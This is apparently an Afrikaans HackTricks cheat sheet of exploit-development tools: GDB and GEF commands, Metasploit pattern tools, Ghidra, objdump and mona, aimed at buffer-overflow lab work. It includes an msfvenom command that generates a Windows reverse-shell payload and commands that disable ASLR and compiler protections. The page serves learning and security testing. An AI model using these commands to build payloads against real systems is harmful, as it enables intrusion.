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222 lines
8.3 KiB
Markdown
222 lines
8.3 KiB
Markdown
# Exploitering Gereedskap
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{{#include ../../../banners/hacktricks-training.md}}
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## Metasploit
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```bash
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pattern_create.rb -l 3000 #Length
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pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
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nasm_shell.rb
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nasm> jmp esp #Get opcodes
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msfelfscan -j esi /opt/fusion/bin/level01
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```
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### Shellcodes
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```bash
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msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
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```
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## GDB
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### Installeer
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```bash
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apt-get install gdb
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```
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### Parameters
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```bash
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-q # No show banner
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-x <file> # Auto-execute GDB instructions from here
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-p <pid> # Attach to process
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```
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### Instruksies
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```bash
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run # Execute
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start # Start and break in main
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n/next/ni # Execute next instruction (no inside)
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s/step/si # Execute next instruction
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c/continue # Continue until next breakpoint
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p system # Find the address of the system function
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set $eip = 0x12345678 # Change value of $eip
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help # Get help
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quit # exit
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# Disassemble
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disassemble main # Disassemble the function called main
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disassemble 0x12345678 # Disassemble taht address
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set disassembly-flavor intel # Use intel syntax
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set follow-fork-mode child/parent # Follow child/parent process
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# Breakpoints
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br func # Add breakpoint to function
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br *func+23
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br *0x12345678
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del <NUM> # Delete that number of breakpoint
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watch EXPRESSION # Break if the value changes
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# info
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info functions --> Info abount functions
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info functions func --> Info of the funtion
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info registers --> Value of the registers
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bt # Backtrace Stack
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bt full # Detailed stack
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print variable
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print 0x87654321 - 0x12345678 # Caculate
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# x/examine
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examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
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x/o 0xDir_hex
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x/2x $eip # 2Words from EIP
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x/2x $eip -4 # $eip - 4
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x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
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i r eip # Value of $eip
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x/w pointer # Value of the pointer
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x/s pointer # String pointed by the pointer
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x/xw &pointer # Address where the pointer is located
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x/i $eip # Instructions of the EIP
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```
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### [GEF](https://github.com/hugsy/gef)
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Jy kan opsioneel [**hierdie fork van GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) gebruik wat meer interessante instruksies bevat.
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```bash
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help memory # Get help on memory command
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canary # Search for canary value in memory
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checksec #Check protections
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p system #Find system function address
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search-pattern "/bin/sh" #Search in the process memory
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vmmap #Get memory mappings
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xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
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memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
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got #Check got table
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memory watch $_got()+0x18 5 #Watch a part of the got table
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# Vulns detection
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format-string-helper #Detect insecure format strings
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heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
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#Patterns
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pattern create 200 #Generate length 200 pattern
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pattern search "avaaawaa" #Search for the offset of that substring
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pattern search $rsp #Search the offset given the content of $rsp
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#Shellcode
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shellcode search x86 #Search shellcodes
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shellcode get 61 #Download shellcode number 61
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#Dump memory to file
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dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
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#Another way to get the offset of to the RIP
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1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
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2- ef➤ i f
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Stack level 0, frame at 0x7fffffffddd0:
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rip = 0x400cd3; saved rip = 0x6261617762616176
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called by frame at 0x7fffffffddd8
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Arglist at 0x7fffffffdcf8, args:
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Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
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Saved registers:
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rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
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gef➤ pattern search 0x6261617762616176
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[+] Searching for '0x6261617762616176'
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[+] Found at offset 184 (little-endian search) likely
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```
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### Tricks
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#### GDB dieselfde adresse
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Terwyl jy debugg, sal GDB **liggies verskillende adresse hê as die wat deur die binêre gebruik word wanneer dit uitgevoer word.** Jy kan GDB dieselfde adresse laat hê deur:
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- `unset env LINES`
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- `unset env COLUMNS`
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- `set env _=<path>` _Plaas die absolute pad na die binêre_
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- Exploit die binêre met dieselfde absolute roete
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- `PWD` en `OLDPWD` moet dieselfde wees wanneer jy GDB gebruik en wanneer jy die binêre exploiteer
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#### Backtrace om funksies te vind wat aangeroep word
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Wanneer jy 'n **statically linked binary** het, sal al die funksies aan die binêre behoort (en nie aan eksterne biblioteke nie). In hierdie geval sal dit moeilik wees om die **vloei wat die binêre volg om byvoorbeeld vir gebruikersinvoer te vra** te **identifiseer**.\
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Jy kan hierdie vloei maklik identifiseer deur die binêre met **gdb** te **hardloop** totdat jy vir invoer gevra word. Stop dit dan met **CTRL+C** en gebruik die **`bt`** (**backtrace**) opdrag om die funksies wat aangeroep is te sien:
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```
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gef➤ bt
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#0 0x00000000004498ae in ?? ()
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#1 0x0000000000400b90 in ?? ()
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#2 0x0000000000400c1d in ?? ()
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#3 0x00000000004011a9 in ?? ()
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#4 0x0000000000400a5a in ?? ()
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```
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### GDB bediener
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`gdbserver --multi 0.0.0.0:23947` (in IDA moet jy die absolute pad van die uitvoerbare lêer in die Linux masjien invul en in die Windows masjien)
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## Ghidra
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### Vind stap offset
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**Ghidra** is baie nuttig om die **offset** vir 'n **buffer overflow te vind danksy die inligting oor die posisie van die plaaslike veranderlikes.**\
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Byvoorbeeld, in die voorbeeld hieronder dui 'n buffer vloei in `local_bc` aan dat jy 'n offset van `0xbc` nodig het. Boonop, as `local_10` 'n kanarie koekie is, dui dit aan dat om dit van `local_bc` te oorskryf daar 'n offset van `0xac` is.\
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_Remember dat die eerste 0x08 van waar die RIP gestoor word aan die RBP behoort._
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.png>)
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## qtool
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```bash
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qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
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```
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Kry elke opcode wat in die program uitgevoer word.
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## GCC
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**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compileer sonder beskermings\
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**-o** --> Uitset\
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**-g** --> Stoor kode (GDB sal dit kan sien)\
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**echo 0 > /proc/sys/kernel/randomize_va_space** --> Om die ASLR in linux te deaktiveer
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**Om 'n shellcode te compileer:**\
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**nasm -f elf assembly.asm** --> gee 'n ".o" terug\
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**ld assembly.o -o shellcodeout** --> Uitvoerbaar
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## Objdump
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**-d** --> **Deassembleer uitvoerbare** afdelings (sien opcodes van 'n gecompileerde shellcode, vind ROP Gadgets, vind funksie adres...)\
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**-Mintel** --> **Intel** sintaksis\
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**-t** --> **Simbol** tabel\
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**-D** --> **Deassembleer alles** (adres van statiese veranderlike)\
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**-s -j .dtors** --> dtors afdeling\
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**-s -j .got** --> got afdeling\
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-D -s -j .plt --> **plt** afdeling **gedekompileer**\
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**-TR** --> **Herverplasing**\
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**ojdump -t --dynamic-relo ./exec | grep puts** --> Adres van "puts" om in GOT te wysig\
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**objdump -D ./exec | grep "VAR_NAME"** --> Adres of 'n statiese veranderlike (daardie word in DATA afdeling gestoor).
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## Core dumps
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1. Voer `ulimit -c unlimited` uit voordat ek my program begin
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2. Voer `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` uit
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3. sudo gdb --core=\<path/core> --quiet
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## Meer
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**ldd uitvoerbaar | grep libc.so.6** --> Adres (as ASLR, dan verander dit elke keer)\
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**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Lus om te sien of die adres baie verander\
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**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset van "system"\
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**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset van "/bin/sh"
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**strace uitvoerbaar** --> Funksies wat deur die uitvoerbare aangeroep word\
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**rabin2 -i ejecutable -->** Adres van al die funksies
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## **Inmunity debugger**
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```bash
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!mona modules #Get protections, look for all false except last one (Dll of SO)
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!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
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```
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## IDA
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### Foutopsporing in afstand linux
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Binne die IDA-gids kan jy binaire lêers vind wat gebruik kan word om 'n binêre lêer binne 'n linux te foutopspoor. Om dit te doen, skuif die binêre `linux_server` of `linux_server64` binne die linux-bediener en voer dit uit binne die gids wat die binêre bevat:
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```
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./linux_server64 -Ppass
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```
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Dan, konfigureer die debugger: Debugger (linux remote) --> Proccess opsies...:
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.png>)
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{{#include ../../../banners/hacktricks-training.md}}
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